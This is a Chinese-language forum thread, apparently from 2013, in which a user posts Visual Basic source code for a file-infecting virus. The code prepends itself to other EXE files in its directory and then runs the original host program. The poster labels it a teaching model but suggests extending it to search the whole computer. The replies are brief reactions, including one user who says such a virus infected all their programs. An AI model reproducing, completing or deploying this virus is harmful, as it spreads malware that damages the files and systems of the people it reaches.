xglys 发表于 2013-4-22 22:08

感染EXE程序病毒源码

本帖最后由 xglys 于 2013-4-22 22:10 编辑



Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFFPrivate Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理& #39;原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
& #39;这是在读自己的代码
Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While Victim <> ""If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
& #39;读出病毒自身的代码
If hArray(&H69) <> &H4D Theni = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If &#39;要保证被感染的不是空文件(不是圈套)
End If
End If
& #39;读出准备被感染的文件的代码Victim = Dir() &#39;NextWend& #39;下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"Else
Close #1End IfEndvbVerror: &#39;出错处理,空着就可以了End Sub







还有其他的说明:
1、本代码目前仅是实验模型,给新手讲解原理之用,不会失控,绝对安全。
2、本代码仅实现了感染EXE的功能,其他的功能还须你自己加入。
3、为了目前的安全,本病毒只是在病毒所在的目录下随机选一个文件感染,你可以利用此功能来调试;将来你可以修改,让它不断的循环搜索计算机上的所有文件。
4、最重要的:不要搞恶意破坏,否则真进了监狱后果自负!

混小子 发表于 2013-4-22 22:26

这是什么语言,似乎没见过,VB?

bansjs 发表于 2013-4-22 22:50

这个东西小弄为好,免得挨骂

fulihua 发表于 2013-4-23 00:23

病毒原代码?

willJ 发表于 2013-4-23 09:35

这是什么语言?这么短小就感染了?

师兄 发表于 2013-4-23 10:47

这个是………………

狩||猎||者 发表于 2013-6-1 21:50

VB感染源代码,是不....

wuaixuexi 发表于 2013-7-18 00:09

深受其害 中过这个病毒 感染了本机所以EXE程序 杀都杀不干净,系统做完 还有

lockeyou 发表于 2013-7-18 15:22

注册这么长时间才发现有这个模块
暂时看不懂,只能多看几次了

wolong810825 发表于 2013-8-13 14:33

各种幼稚啊,各种娱乐啊。。
页: [1] 2
查看完整版本: 感染EXE程序病毒源码